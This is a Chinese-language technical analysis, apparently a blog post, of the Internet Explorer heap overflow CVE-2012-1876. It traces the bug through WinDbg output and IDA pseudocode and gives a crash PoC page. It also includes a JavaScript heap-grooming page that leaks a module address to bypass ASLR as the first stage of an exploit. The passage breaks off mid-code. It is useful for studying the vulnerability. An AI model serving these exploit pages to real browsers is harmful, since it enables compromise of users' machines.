cve-2012-1876漏洞分析

关于调试其他文章有,就不重点介绍了,主要介绍一下漏洞原理,汇编代码,以及漏洞的利用过程。
poc.html:
<html>
 <body>
 <table style="table-layout:fixed" >
        <col id="132" width="41" span="1" >  </col>
 </table>
 <script>
 
 function over_trigger() {
        var obj_col = document.getElementById("132");
        obj_col.width = "42765";
        obj_col.span = 1000;
 }
 
 setTimeout("over_trigger();",1);
 
 </script>
 </body>
 </html>

首先看一下函数ULongLongToUInt,
0:005> uf mshtml!ULongLongToUInt
mshtml!ULongLongToUInt:
6867d7e6 8bff            mov     edi,edi
6867d7e8 55              push    ebp
6867d7e9 8bec            mov     ebp,esp
6867d7eb 837d0c00        cmp     dword ptr [ebp+0Ch],0
6867d7ef 7712            ja      mshtml!ULongLongToUInt+0x1b (6867d803)

mshtml!ULongLongToUInt+0xb:
6867d7f1 8b4d08          mov     ecx,dword ptr [ebp+8]
6867d7f4 7205            jb      mshtml!ULongLongToUInt+0x15 (6867d7fb)

mshtml!ULongLongToUInt+0x10:
6867d7f6 83f9ff          cmp     ecx,0FFFFFFFFh
6867d7f9 7708            ja      mshtml!ULongLongToUInt+0x1b (6867d803)

mshtml!ULongLongToUInt+0x15:
6867d7fb 8908            mov     dword ptr [eax],ecx
6867d7fd 33c0            xor     eax,eax

mshtml!ULongLongToUInt+0x23:
6867d7ff 5d              pop     ebp
6867d800 c20800          ret     8

mshtml!ULongLongToUInt+0x1b:
6867d803 8308ff          or      dword ptr [eax],0FFFFFFFFh
6867d806 b816020780      mov     eax,80070216h
6867d80b ebf2            jmp     mshtml!ULongLongToUInt+0x23 (6867d7ff)
用IDA F5功能查看一下函数的伪代码:
signed int __userpurge ULongLongToUInt@<eax>(int a1@<eax>, unsigned __int64 a2, unsigned int *a3)
{
  signed int result; // eax@2

  if ( a2 > 0xFFFFFFFF )
  {
    *(_DWORD *)a1 = -1;
    result = -2147024362;
  }
  else
  {
    *(_DWORD *)a1 = a2;
    result = 0;
  }
  return result;
}
可以看到当第一个参数a2>0xFFFFFFFF(即64位)时,*eax=-1,否则*eax=a2,查看一下调用这个函数的上下文环境:
686934b7 8b45fc          mov     eax,dword ptr [ebp-4]  ;eax=4
686934ba f76508          mul     eax,dword ptr [ebp+8]   ;eax=eax* [ebp+8]=4*0x1c
686934bd 52              push    edx ;     0
686934be 50              push    eax   ;  4*0x1c
686934bf 8d45f8          lea     eax,[ebp-8]  
686934c2 e81fa3feff      call    mshtml!ULongLongToUInt (6867d7e6)  ;[ebp-8] =4*0x1c
686934c7 8bd8            mov     ebx,eax; =0
686934c9 85db            test    ebx,ebx
686934cb 7525            jne     mshtml!CImplAry::EnsureSizeWorker+0xb1 (686934f2)
调用这个函数的时候参数一等于4*1c,所以此处*eax=4*0x1c。
在看一下函数mshtml!CImplAry::EnsureSizeWorker
0:005> uf mshtml!CImplAry::EnsureSizeWorker
mshtml!CImplAry::EnsureSizeWorker:
6869349e 8bff            mov     edi,edi
686934a0 55              push    ebp
686934a1 8bec            mov     ebp,esp
686934a3 51              push    ecx
686934a4 51              push    ecx
686934a5 53              push    ebx
686934a6 56              push    esi
686934a7 8bf0            mov     esi,eax
686934a9 6a04            push    4
686934ab 58              pop     eax   ;eax=4
686934ac 8945fc          mov     dword ptr [ebp-4],eax  ; ==4
686934af 3bf0            cmp     esi,eax   ;esi=函数外边eax=edx=函数CalculateMinMax  [ebp+8]=[ebx+0x54]=spannum,此处判断spannum与4的大小,如果spannum大于等于4,则跳转。。。。
686934b1 0f833c300000    jae     mshtml!CImplAry::EnsureSizeWorker+0x15 (686964f3)

mshtml!CImplAry::EnsureSizeWorker+0x3a:
686934b7 8b45fc          mov     eax,dword ptr [ebp-4]
686934ba f76508          mul     eax,dword ptr [ebp+8]
686934bd 52              push    edx
686934be 50              push    eax
686934bf 8d45f8          lea     eax,[ebp-8]
686934c2 e81fa3feff      call    mshtml!ULongLongToUInt (6867d7e6)   ;[ebp-8] =4*0x1c
686934c7 8bd8            mov     ebx,eax
686934c9 85db            test    ebx,ebx   ;ebx=0
686934cb 7525            jne     mshtml!CImplAry::EnsureSizeWorker+0xb1 (686934f2)

mshtml!CImplAry::EnsureSizeWorker+0x50:
686934cd f6470402        test    byte ptr [edi+4],2
686934d1 0f8529aa0300    jne     mshtml!CImplAry::EnsureSizeWorker+0x56 (686cdf00)

mshtml!CImplAry::EnsureSizeWorker+0x96:
686934d7 ff75f8          push    dword ptr [ebp-8]    ;4*0x1c
686934da 8d770c          lea     esi,[edi+0Ch]  
686934dd e8c3a2feff      call    mshtml!_HeapRealloc (6867d7a5)  ;堆分配内存的首地址是esi=edi+0Ch=ebx+0x90+0x0c=ctablelayout+0x90+0x0c 后续会将此地址标记为vulheap。

686934e2 8bd8            mov     ebx,eax
686934e4 85db            test    ebx,ebx
686934e6 750a            jne     mshtml!CImplAry::EnsureSizeWorker+0xb1 (686934f2)

一下代码不重要了,略去。。。
可见在第一次调用函数mshtml!CTableLayout::CalculateMinMax时,函数内部会调用函数mshtml!CImplAry::EnsureSizeWorker,分配大小为4*0x1c的堆内存,首地址为ctablelayout+0x9c

至于函数mshtml!CTableLayout::CalculateMinMax为什么会调用函数mshtml!CImplAry::EnsureSizeWorker呢,沿着函数mshtml!CImplAry::EnsureSizeWorker往上看一下:
mshtml!CTableLayout::CalculateMinMax:
685ca078 8bff            mov     edi,edi
685ca07a 55              push    ebp
685ca07b 8bec            mov     ebp,esp
685ca07d 81ec98000000    sub     esp,98h
685ca083 53              push    ebx
685ca084 8b5d08          mov     ebx,dword ptr [ebp+8]
685ca087 56              push    esi
685ca088 8b750c          mov     esi,dword ptr [ebp+0Ch]
685ca08b 8b4628          mov     eax,dword ptr [esi+28h]
685ca08e 898570ffffff    mov     dword ptr [ebp-90h],eax
685ca094 8b4354          mov     eax,dword ptr [ebx+54h]
685ca097 894508          mov     dword ptr [ebp+8],eax
685ca09a 8b8328010000    mov     eax,dword ptr [ebx+128h]
685ca0a0 c1e802          shr     eax,2
685ca0a3 8945b8          mov     dword ptr [ebp-48h],eax

。。。。。。。。。。
省略部分不重要代码
。。。。。。。。。。
mshtml!CTableLayout::CalculateMinMax+0x161:
685ca19e 8bc8            mov     ecx,eax

mshtml!CTableLayout::CalculateMinMax+0x163:
685ca1a0 8b5508          mov     edx,dword ptr [ebp+8]
685ca1a3 8bc2            mov     eax,edx
685ca1a5 2bc1            sub     eax,ecx
685ca1a7 8945e4          mov     dword ptr [ebp-1Ch],eax
685ca1aa 6a00            push    0
685ca1ac 58              pop     eax
685ca1ad 0f94c0          sete    al
685ca1b0 894b50          mov     dword ptr [ebx+50h],ecx
685ca1b3 c1e008          shl     eax,8
685ca1b6 334344          xor     eax,dword ptr [ebx+44h]
685ca1b9 2500010000      and     eax,100h
685ca1be 314344          xor     dword ptr [ebx+44h],eax
685ca1c1 f6462c01        test    byte ptr [esi+2Ch],1
685ca1c5 0f8559501900    jne     mshtml!CTableLayout::CalculateMinMax+0x18a (6875f224)

mshtml!CTableLayout::CalculateMinMax+0x193:
685ca1cb 33c0            xor     eax,eax

mshtml!CTableLayout::CalculateMinMax+0x195:
685ca1cd 0945c8          or      dword ptr [ebp-38h],eax
685ca1d0 397d10          cmp     dword ptr [ebp+10h],edi
685ca1d3 0f855b501900    jne     mshtml!CTableLayout::CalculateMinMax+0x19d (6875f234)

mshtml!CTableLayout::CalculateMinMax+0x1da:
685ca1d9 8b8394000000    mov     eax,dword ptr [ebx+94h]
685ca1df c1e802          shr     eax,2  ;等于除以四
685ca1e2 3bc2            cmp     eax,edx
685ca1e4 7d39            jge     mshtml!CTableLayout::CalculateMinMax+0x223 (685ca21f)

mshtml!CTableLayout::CalculateMinMax+0x1e7:
685ca1e6 3bd7            cmp     edx,edi
685ca1e8 8db390000000    lea     esi,[ebx+90h]
685ca1ee 0f8c8632f0ff    jl      mshtml!CTableLayout::CalculateMinMax+0x203 (684cd47a)

mshtml!CTableLayout::CalculateMinMax+0x1f1:
685ca1f4 3b5608          cmp     edx,dword ptr [esi+8]
685ca1f7 7613            jbe     mshtml!CTableLayout::CalculateMinMax+0x210 (685ca20c)

mshtml!CTableLayout::CalculateMinMax+0x1f6:
685ca1f9 6a1c            push    1Ch
685ca1fb 8bc2            mov     eax,edx
685ca1fd 8bfe            mov     edi,esi
685ca1ff e89a920c00      call    mshtml!CImplAry::EnsureSizeWorker (6869349e)

mshtml!CTableLayout::CalculateMinMax+0x208:
685ca204 85c0            test    eax,eax
685ca206 0f85ac020000    jne     mshtml!CTableLayout::CalculateMinMax+0xdf1 (685ca4b8)
在地址685ca1e2 3bc2 cmp eax,edx有一处重要的判断,其中eax来自->[ebx+94h]->[ctablelayout+0x94],edx来自->[ebx+8]->[ebx+54h],即spannum

在第一次调用函数mshtml!CTableLayout::CalculateMinMax时
0:015> bl
 0 e 67aca078     0001 (0001)  0:**** mshtml!CTableLayout::CalculateMinMax
0:015> .childdbg 1
Processes created by the current process will be debugged
0:015> g
ModLoad: 6b160000 6b212000   C:\Windows\System32\jscript.dll
Breakpoint 0 hit
eax=ffffffff ebx=0036c028 ecx=00412802 edx=ffffffff esi=00000000 edi=023fc234
eip=67aca078 esp=023fbfd8 ebp=023fc1f0 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
mshtml!CTableLayout::CalculateMinMax:
67aca078 8bff            mov     edi,edi
0:005> p
eax=ffffffff ebx=0036c028 ecx=00412802 edx=ffffffff esi=00000000 edi=023fc234
eip=67aca07a esp=023fbfd8 ebp=023fc1f0 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
mshtml!CTableLayout::CalculateMinMax+0x2:
67aca07a 55              push    ebp
0:005> 
eax=ffffffff ebx=0036c028 ecx=00412802 edx=ffffffff esi=00000000 edi=023fc234
eip=67aca07b esp=023fbfd4 ebp=023fc1f0 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
mshtml!CTableLayout::CalculateMinMax+0x3:
67aca07b 8bec            mov     ebp,esp
0:005> 
eax=ffffffff ebx=0036c028 ecx=00412802 edx=ffffffff esi=00000000 edi=023fc234
eip=67aca07d esp=023fbfd4 ebp=023fbfd4 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
mshtml!CTableLayout::CalculateMinMax+0x5:
67aca07d 81ec98000000    sub     esp,98h
0:005> 
eax=ffffffff ebx=0036c028 ecx=00412802 edx=ffffffff esi=00000000 edi=023fc234
eip=67aca083 esp=023fbf3c ebp=023fbfd4 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216
mshtml!CTableLayout::CalculateMinMax+0xb:
67aca083 53              push    ebx
0:005> 
eax=ffffffff ebx=0036c028 ecx=00412802 edx=ffffffff esi=00000000 edi=023fc234
eip=67aca084 esp=023fbf38 ebp=023fbfd4 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216
mshtml!CTableLayout::CalculateMinMax+0xc:
67aca084 8b5d08          mov     ebx,dword ptr [ebp+8] ss:0023:023fbfdc=0036c028
0:005> 
eax=ffffffff ebx=0036c028 ecx=00412802 edx=ffffffff esi=00000000 edi=023fc234
eip=67aca087 esp=023fbf38 ebp=023fbfd4 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216
mshtml!CTableLayout::CalculateMinMax+0xf:
67aca087 56              push    esi
0:005> dd ebx+0x94 l1
0036c0bc  00000000
0:005> dd ebx+0x54 l1
0036c07c  00000001
可以看到此时poi(ebx+0x94)=0,poi(ebx+0x54)=1,在地址685ca1e2 3bc2 cmp eax,edx处,0<1,没有发生跳转,分配堆内存空间

在第二次调用函数mshtml!CTableLayout::CalculateMinMax时,
0:005> dd ebx+0x94 l1
0036c0bc  00000004
0:005> dd ebx+0x54 l1
0036c07c  00000001
可以看到此时poi(ebx+0x94)=4,poi(ebx+0x54)=1,在地址685ca1e2 3bc2 cmp eax,edx处,4/4=1,发生跳转,没有分配堆内存空间,此时我们看一下第一次分配的堆内存的情况:
0:005> !heap -p -a poi(ebx+0x9c)
    address 0037ae10 found in
    _HEAP @ 2b0000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        0037ae08 000f 0000  [00]   0037ae10    00070 - (busy)

0:005> dd 0037ae08 l50
0037ae08  3c5b016a 08004449 00001004 00001004
0037ae18  00001004 00000000 33006c00 2e003200
0037ae28  00010048 2c006c00 32002d00 37003100
0037ae38  39003600 16000000 00000000 00000000
0037ae48  07000007 00004441 0030a940 00309e58
0037ae58  00000000 00000000 00000000 00000000
0037ae68  00000000 00000000 00000000 00000000
0037ae78  00000000 00000000 2d5b017b 0c004460
0037ae88  76db7bd0 76db7c64 00000000 00000003
0037ae98  00330f08 0037ae88 00349ef0 023fd2c8
0037aea8  00000003 00000000 000000f0 00000000
0037aeb8  00000000 0082eaec 00000000 00000000
0037aec8  00000000 00000000 003655f0 ffffffff
0037aed8  00000000 00000000 00000000 000001f4
继续往下走,在调用函数mshtml!CTableCol::GetAAspan处下断:
0:005> bl
 0 e 6a40a078     0001 (0001)  0:**** mshtml!CTableLayout::CalculateMinMax
 1 e 6a59f31a     0001 (0001)  0:**** mshtml!CTableLayout::CalculateMinMax+0x3a7
0:005> g
Breakpoint 1 hit
eax=006f4890 ebx=00716728 ecx=00000032 edx=00000000 esi=0072189c edi=006f4890
eip=6a59f31a esp=025abd40 ebp=025abde4 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
mshtml!CTableLayout::CalculateMinMax+0x3a7:
6a59f31a e8acb3deff      call    mshtml!CTableCol::GetAAspan (6a38a6cb)
0:005> p
eax=000003e8 ebx=00716728 ecx=00000002 edx=006fdca0 esi=0072189c edi=006f4890
eip=6a59f31f esp=025abd40 ebp=025abde4 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
mshtml!CTableLayout::CalculateMinMax+0x3ac:
6a59f31f 3de8030000      cmp     eax,3E8h
可以看出此处函数的返回值就是poc.html中js函数中span的值1000。
6a59f30b e87dd0f5ff      call    mshtml!CElement::IsDisplayNone (6a4fc38d)
6a59f310 85c0            test    eax,eax
6a59f312 0f854238dcff    jne     mshtml!CTableLayout::CalculateMinMax+0x3dc (6a362b5a)
6a59f318 8bc7            mov     eax,edi
6a59f31a e8acb3deff      call    mshtml!CTableCol::GetAAspan (6a38a6cb)
6a59f31f 3de8030000      cmp     eax,3E8h
6a59f324 894510          mov     dword ptr [ebp+10h],eax    ;;
6a59f327 7c07            jl      mshtml!CTableLayout::CalculateMinMax+0x3bd (6a59f330)
6a59f329 c74510e8030000  mov     dword ptr [ebp+10h],3E8h
将1000放入[ebp+10h]中。


继续执行,执行到调用函数mshtml!CWidthUnitValue::GetPixelWidth :
0:005> g
Breakpoint 2 hit
eax=006dc8c0 ebx=00716728 ecx=0074cd68 edx=006fdca0 esi=025ac078 edi=00000001
eip=6a59f39f esp=025abd38 ebp=025abde4 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
mshtml!CTableLayout::CalculateMinMax+0x47d:
6a59f39f e8a854dbff      call    mshtml!CWidthUnitValue::GetPixelWidth (6a35484c)
0:005> dd esp l4
025abd38  025ac078 00000000 025ac044 00000000
0:005> dd 025ac044 l1
025ac044  00000000
0:005> p
eax=00414114 ebx=00716728 ecx=0074cd68 edx=00004141 esi=025ac078 edi=00000001
eip=6a59f3a4 esp=025abd40 ebp=025abde4 iopl=0         ov up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000a06
mshtml!CTableLayout::CalculateMinMax+0x482:
6a59f3a4 837da000        cmp     dword ptr [ebp-60h],0 ss:0023:025abd84=00000000
0:005> dd esp l1
025abd40  025ac044
可以看到函数mshtml!CWidthUnitValue::GetPixelWidth的返回值就是js函数over_trigger的width*100(0n42765*0n100=0n4276500 = 0x00414114)
6a59f396 8b45a8          mov     eax,dword ptr [ebp-58h]
6a59f399 8b4dcc          mov     ecx,dword ptr [ebp-34h]
6a59f39c 6a00            push    0
6a59f39e 56              push    esi
6a59f39f e8a854dbff      call    mshtml!CWidthUnitValue::GetPixelWidth (6a35484c)
6a59f3a4 837da000        cmp     dword ptr [ebp-60h],0 ss:0023:025abd84=00000000
6a59f3a8 8945d0          mov     dword ptr [ebp-30h],eax     ;结果存入[ebp-30h]中
6a59f3ab 744f            je      mshtml!CTableLayout::CalculateMinMax+0x4da (6a59f3fc)
6a59f3ad 8b459c          mov     eax,dword ptr [ebp-64h]
6a59f3b0 85c0            test    eax,eax
继续向下分析:
mshtml!CTableLayout::CalculateMinMax+0x505:
6a59f427 8b4df8          mov     ecx,dword ptr [ebp-8]  ;ecx=0
6a59f42a 8b4510          mov     eax,dword ptr [ebp+10h]; eax=0n1000
6a59f42d 6bc91c          imul    ecx,ecx,1Ch            ecx=0
6a59f430 0145c8          add     dword ptr [ebp-38h],eax       ;0x3e8
6a59f433 894ddc          mov     dword ptr [ebp-24h],ecx   ;0
6a59f436 eb03            jmp     mshtml!CTableLayout::CalculateMinMax+0x519 (6a59f43b)


//循环开始
mshtml!CTableLayout::CalculateMinMax+0x516:
6a59f438 8b4ddc          mov     ecx,dword ptr [ebp-24h]

mshtml!CTableLayout::CalculateMinMax+0x519:
6a59f43b 8b839c000000    mov     eax,dword ptr [ebx+9Ch]  ;vulheap地址
6a59f441 03c1            add     eax,ecx   ;eax=vulheap地址
6a59f443 837de400        cmp     dword ptr [ebp-1Ch],0  ;poi(ebp-0x1c)==0
6a59f447 8945d8          mov     dword ptr [ebp-28h],eax  ;poi(ebp-28h)是函数AdjustForCol 要复制到的地址,可以看到这个地址从vulheap开始,没复制一次,地址增加0x1c
6a59f44a 741a            je      mshtml!CTableLayout::CalculateMinMax+0x544 (6a59f466)  ;跳转 

mshtml!CTableLayout::CalculateMinMax+0x52a:
6a59f44c 8b4510          mov     eax,dword ptr [ebp+10h]
6a59f44f 83f801          cmp     eax,1
6a59f452 7e12            jle     mshtml!CTableLayout::CalculateMinMax+0x544 (6a59f466)

mshtml!CTableLayout::CalculateMinMax+0x532:
6a59f454 48              dec     eax
6a59f455 3945ec          cmp     dword ptr [ebp-14h],eax
6a59f458 750c            jne     mshtml!CTableLayout::CalculateMinMax+0x544 (6a59f466)

mshtml!CTableLayout::CalculateMinMax+0x538:
6a59f45a 0faf45f4        imul    eax,dword ptr [ebp-0Ch]                                                                                                                                                                                              
6a59f45e 8b4dd0          mov     ecx,dword ptr [ebp-30h]
6a59f461 2bc8            sub     ecx,eax
6a59f463 894df4          mov     dword ptr [ebp-0Ch],ecx

mshtml!CTableLayout::CalculateMinMax+0x544:
6a59f466 ff75c0          push    dword ptr [ebp-40h]
6a59f469 8b45cc          mov     eax,dword ptr [ebp-34h]
6a59f46c ff750c          push    dword ptr [ebp+0Ch]
6a59f46f 8b75d8          mov     esi,dword ptr [ebp-28h]
6a59f472 ff75f4          push    dword ptr [ebp-0Ch]    ;width*100
6a59f475 e8a0151900      call    mshtml!CTableColCalc::AdjustForCol (6a730a1a)  ;这个函数可以用IDA的F5功能
6a59f47a ff45ec          inc     dword ptr [ebp-14h]
6a59f47d 8b45ec          mov     eax,dword ptr [ebp-14h]  ;第一次循环时eax=1  后续每次加1
6a59f480 8345dc1c        add     dword ptr [ebp-24h],1Ch   ;第一次poi(ebp-0x24)==0,以后每次加0x1c
6a59f484 3b4510          cmp     eax,dword ptr [ebp+10h]  ;poi(ebp+10h)=0x3e8 也就是循环0x3e8次,每次复制的长度是0x1c,所以0x3e8*0x1c >4*0x1c,造成溢出
6a59f487 7caf            jl      mshtml!CTableLayout::CalculateMinMax+0x516 (6a59f438)
上边这段代码很重要,我们着重分析一下,执行到6a59f436 jmp mshtml!CTableLayout::CalculateMinMax+0x519 (6a59f43b)的时候,此时ecx=0,poi(ebp-24h)=0,poi(ebp-0x14)=0,然后进入循环体,详见上边代码注释

再分析一下mshtml!CTableColCalc::AdjustForCol 这个函数,直接用IDA吧:
void __userpurge 0:005> dd poi(ebp-0x34) l1
004ebde8  04141149(CTableColCalc *this@<ecx>, int a2@<eax>, int a3@<esi>, const struct CWidthUnitValue *a4, int a5, struct CCalcInfo *a6, int a7)
{
  int v7; // ST04_4@1

  v7 = *(_DWORD *)a2 & 0xF;
  *(_DWORD *)(a3 + 24) = *(_DWORD *)a2;
  if ( CUnitValue::IsScalerUnit(v7) )
。。。。。
可以看到是将*eax处的数据复制到*(esi+0x18)处,此处eax=poi(ebp-34h):
0:005> dd poi(ebp-0x34) l1
004ebde8  04141149
具体分析一下:
void __userpurge CTableColCalc::AdjustForCol(CTableColCalc *this@<ecx>, int a2@<eax>, int a3@<esi>, const struct CWidthUnitValue *a4, int a5, struct CCalcInfo *a6, int a7)
{
  int v7; // ST04_4@1

  v7 = *(_DWORD *)a2 & 0xF;
  *(_DWORD *)(a3 + 24) = *(_DWORD *)a2;         // poi(esi+0x18)=*eax=0x4141149
  if ( CUnitValue::IsScalerUnit(v7) )           // 实现跳转
  {
    CUnitValue::SetValue((signed int)a4, a3 + 24, 8);// a4=0x414114  result=8|16*a4 ;poi(a3+24)=result   所以poi(esi+0x18)=8|16*0x00414114
    *(_DWORD *)(a3 + 4) = a4;                   // poi(esi+4)=a4=0x00414114  即函数的第一个参数
    *(_DWORD *)a3 = a4;                         // poi(esi)=a4=0x00414114,即函数的第一个参数
  }
  else
  {
    if ( a6 != (struct CCalcInfo *)1 )
      CUnitValue::SetPercent((CUnitValue *)0x64, a3 + 24);
    *(_DWORD *)a3 = 1;
    *(_DWORD *)(a3 + 4) = *(_DWORD *)(a5 + 16);
  }
  *(_DWORD *)(a3 + 8) = a4;      //poi(esi+8)=a4=0x00414114,即函数的第一个参数
}

综上所述,函数CTableColCalc::AdjustForCol的功能就是,将函数的第一个参数放入esi,esi+4,esi+8中,将8|16*第一个参数的值放入0xesi+0x18中。

上图可以看到已经复制了两次,0x70空间只能复制四次,如果超过四次,就会复制到不可写内存,造成访问异常。

总结一下漏洞原理,在第一次调用函数mshtml!CTableLayout::CalculateMinMax时,函数内部调用函数函数mshtml!CImplAry::EnsureSizeWorker分配大小为4*0x1c大小的堆内存,首地址为ebx+0x9c,将此命名为vulheap。
在第二次调用函数mshtml!CTableLayout::CalculateMinMax时,函数内部没有调用函数函数mshtml!CImplAry::EnsureSizeWorke分配堆内存,然后调用mshtml!CTableCol::GetAAspan获取js函数over_trigger中span的值,此处为0x3e8,然后调用函数mshtml!CWidthUnitValue::GetPixelWidth获取js函数over_trigger中width的值,此处的返回地址为width*100,命名为copydata.
然后进入一个循环体,循环次数有span决定,此处是0x3e8,将copydata复制到vulheap的起始地址处,此处vulheap、vulheap+4、vulheap+8的值为copydata,vulheap+0x18的值为8|16*copydata,然后进入下一个循环,起始地址为vulheap+0x1c。 因为堆内存大小为0x70,但是我们循环0x3e8,所以0x3e8*0x1c>0x70,所以造成溢出,覆盖了后边的内容。


下边介绍一下漏洞的利用,
漏洞利用主要有两点,一个是利用内存泄露绕过ASLR,一个是利用ROP绕过DEP,然后布置heap spray,利用堆溢出控制EIP,跳转到heap sparay使shellcode得到执行。

下边首选介绍利用内存泄露绕过ASLR,主要原理就是利用堆溢出覆盖后边字符串的长度信息,然后读出后边对象的虚表指针,虚表指针跟加载模块的基址是相对固定的 ,这样就可以确定mshtml等的基址,从而绕过aslr。
<html>
<body>
<div id="evil"></div>
<table style="table-layout:fixed" ><col id="132" width="41" span="9" >  </col></table>
<script language='javascript'>
var free = "EEEE";
while ( free.length < 500 ) free += free;
var string1 = "AAAA";
while ( string1.length < 500 ) string1 += string1;
var string2 = "BBBB";
while ( string2.length < 500 ) string2 += string2;

var fr = new Array();
var al = new Array();
var bl = new Array();
var div_container = document.getElementById("evil");
div_container.style.cssText = "display:none";
for (var i=0; i < 500; i+=2) {
	fr[i] = free.substring(0, (0x100-6)/2);
	al[i] = string1.substring(0, (0x100-6)/2);
	bl[i] = string2.substring(0, (0x100-6)/2);
	var obj = document.createElement("button");
	div_container.appendChild(obj);
}
for (var i=200; i<500; i+=2 ) {
	fr[i] = null;
	CollectGarbage();
}
function leak(){
	//alert(1);
	var leak_col = document.getElementById("132");
	leak_col.width = "41";
	leak_col.span = "19";
}
function strtoint(str) {
	return str.charCodeAt(1)*0x10000 + str.charCodeAt(0);
}
function get_leak() {
	var str_addr = strtoint(bl[498].substring((0x100-6)/2+(2+8)/2,(0x100-6)/2+(2+8+4)/2));
	//alert(str_addr.toString(16));
	//alert(typeof(str_addr));
	//alert(str_addr.toString(16));
	str_addr=(str_addr & 0xffff0000)-0x00150000;
	alert(typeof(str_addr));
	alert(str_addr.toString(16));
	//alert(str_addr);
	//str_addr = str_addr - 1410704;
	//setTimeout(function(){heapspray(str_addr)}, 200);	
}

function trigger_overflow(){
	var evil_col = document.getElementById("132");
	evil_col.width = "1178993";
	evil_col.span = "32";  //zhishaoshi 0x1d=29
}

setTimeout(function(){leak()}, 300);
setTimeout(function(){get_leak()},700);
//setTimeout(function(){heapspray()}, 900);
//setTimeout(function(){trigger_overflow()}, 1200);

</script>
</body>
</html>

<table style="table-layout:fixed" ><col id="132" width="41" span="9" >  </col></table> //分配大小为9*0x1c的堆内存
var free = "EEEE";
while ( free.length < 500 ) free += free;
var string1 = "AAAA";
while ( string1.length < 500 ) string1 += string1;
var string2 = "BBBB";
while ( string2.length < 500 ) string2 += string2;
定义三个字符串,长度都是500(unicode长度)
for (var i=0; i < 500; i+=2) {
	fr[i] = free.substring(0, (0x100-6)/2);
	al[i] = string1.substring(0, (0x100-6)/2);
	bl[i] = string2.substring(0, (0x100-6)/2);
	var obj = document.createElement("button");
	div_container.appendChild(obj);
}
进行250次循环,在每个循环内部,分配bstr字符串,fr[i],al[i],bl[i],每个bstr字符串长度是0x100(包含四字节长度信息,两字节0x00结束信息),后边分配一个对象。
for (var i=200; i<500; i+=2 ) {
	fr[i] = null;
	CollectGarbage();
}
从fr[i]中间开始间隔释放内存,腾出空间供后边分配0x100大小的对象能够被占用到。


function leak(){
	//alert(1);
	var leak_col = document.getElementById("132");
	leak_col.width = "41";
	leak_col.span = "19";
}
分配大小为0x13*0x1c=0x214大小的内存,这样就覆盖了vulheap(0x100),继续覆盖了后边的AAA的堆首信息(0x8)、AAA大小0x100,BBB的堆首信息,然后是BBB的大小(四个字节),加起来正好是0x214.我们调试验证一下。
首先要确保后来分配的内存覆盖了前边释放的内存。
首先下断点:bu mshtml!ctablelayout::calculateminmax+0x16d ".echo vulheap;dd poi(ebx+9c) l4;g" 记录分配的堆内存首地址 (此处应该做个镜像,防止重启IE地址发生变化)
0:005> bu 6996a1aa ".echo vulheap;dd poi(ebx+9c) l4;g"
0:005> bl
 0 e 6996a1aa     0001 (0001)  0:**** mshtml!CTableLayout::CalculateMinMax+0x16d ".echo vulheap;dd poi(ebx+9c) l4;g"
 1 d 686aa1aa     0001 (0001)  0:****  ".echo vulheap;dd poi(ebx+9c) l4;g"
 2 d 76e92c6a     0001 (0001)  0:**** ntdll!RtlFreeHeap ".echo free heap;db poi(esp+c) l10;g"
 4 d 694ea1aa     0001 (0001)  0:****  ".echo vulheap;dd poi(ebx+9c) l4;g"
 5 e 6996a078     0001 (0001)  0:**** mshtml!CTableLayout::CalculateMinMax
0:005> bd 5
0:005> g
vulheap
00000000  ???????? ???????? ???????? ????????
vulheap
03228d18  00001004 00001004 00001004 00000000
vulheap
03228d18  00001004 00001004 00001004 00000000
(360.35c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=07070024 ebx=01000000 ecx=03229030 edx=00000041 esi=024ed590 edi=03224bb8
eip=69a2e664 esp=024ed3cc ebp=024ed400 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
mshtml!NotifyElement+0x3e:
69a2e664 ff5008          call    dword ptr [eax+8]    ds:0023:0707002c=????????
再返回快照,查看释放堆内存的首地址:(bu ntdll!rtlfreeheap ".echo free heap;db poi(esp+c) l10;g")
0:005> bu ntdll!rtlfreeheap ".echo free heap;db poi(esp+c) l10;g"
breakpoint 2 redefined
0:005> bl
 0 d 6996a1aa     0001 (0001)  0:**** mshtml!CTableLayout::CalculateMinMax+0x16d ".echo vulheap;dd poi(ebx+9c) l4;g"
 1 d 686aa1aa     0001 (0001)  0:****  ".echo vulheap;dd poi(ebx+9c) l4;g"
 2 e 76e92c6a     0001 (0001)  0:**** ntdll!RtlFreeHeap ".echo free heap;db poi(esp+c) l10;g"
 4 d 694ea1aa     0001 (0001)  0:****  ".echo vulheap;dd poi(ebx+9c) l4;g"
 5 d 6996a078     0001 (0001)  0:**** mshtml!CTableLayout::CalculateMinMax
0:005> .logopen C:\Users\ymq\Desktop\log.txt
Closing open log file C:\Users\ymq\Desktop\log.txt
Opened log file 'C:\Users\ymq\Desktop\log.txt'
0:005> g
free heap
00344070  98 8f 9e 76 99 ad de 99-00 20 00 00 00 00 00 00  ...v.
........
03228d18 5a 00 00 00 66 00 69 00-6c 00 65 00 3a 00 2f 00
可以看到刚分配的堆内存已经覆盖了刚才释放的堆内存。
function leak(){
	//alert(1);
	var leak_col = document.getElementById("132");
	leak_col.width = "41";
